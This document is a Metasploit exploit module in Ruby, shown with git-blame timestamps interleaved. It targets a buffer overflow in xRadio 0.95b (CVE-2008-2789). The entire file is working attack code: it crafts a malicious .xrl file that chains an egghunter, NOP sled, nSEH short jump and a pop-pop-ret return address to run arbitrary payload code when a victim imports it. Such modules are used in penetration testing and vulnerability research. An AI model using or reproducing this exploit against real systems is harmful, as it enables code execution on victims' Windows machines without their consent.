2012-04-15 22:16:11 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-04-15 22:16:11 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = NormalRanking
|
2012-04-15 22:16:11 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
include Msf::Exploit::Remote::Egghunter
|
2012-04-15 22:16:11 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'xRadio 0.95b Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow in xRadio 0.95b.
|
|
|
|
Using the application to import a specially crafted xrl file,
|
|
|
|
a buffer overflow occurs allowing arbitrary code execution.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'b0telh0 <me[at]gotgeek.com.br>',
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-2789' ],
|
|
|
|
[ 'BID', '46290' ],
|
|
|
|
[ 'EDB', '16141' ]
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'seh',
|
|
|
|
'DisablePayloadHandler' => 'true'
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x00\x0a\x0d",
|
|
|
|
'StackAdjustment' => -3500
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows Universal',
|
|
|
|
{
|
|
|
|
# pop eax - pop ebx - ret xradio.exe
|
|
|
|
'Ret' => 0x0047E282
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Feb 08 2011',
|
|
|
|
'DefaultTarget' => 0))
|
2012-04-15 22:16:11 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILENAME', [true, 'The file name.', 'msf.xrl'])
|
|
|
|
], self.class)
|
2012-04-15 22:16:11 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2012-04-15 22:16:11 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
eggoptions =
|
|
|
|
{
|
|
|
|
:checksum => true,
|
|
|
|
:eggtag => 'w00t'
|
|
|
|
}
|
2012-04-15 22:16:11 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
hunter,egg = generate_egghunter(payload.encoded, eggoptions)
|
2012-04-15 22:16:11 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
buffer = rand_text_alpha_upper(4066-egg.length)
|
|
|
|
buffer << egg
|
|
|
|
buffer << make_nops(10)
|
|
|
|
buffer << hunter
|
|
|
|
buffer << "\xeb\xd8\xff\xff" # nseh jmp back 40 bytes
|
|
|
|
buffer << [target.ret].pack('V') # seh
|
2012-04-15 22:16:11 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
|
|
file_create(buffer)
|
|
|
|
end
|
2012-04-19 23:52:43 +00:00
|
|
|
|
2012-04-15 22:16:11 +00:00
|
|
|
end
|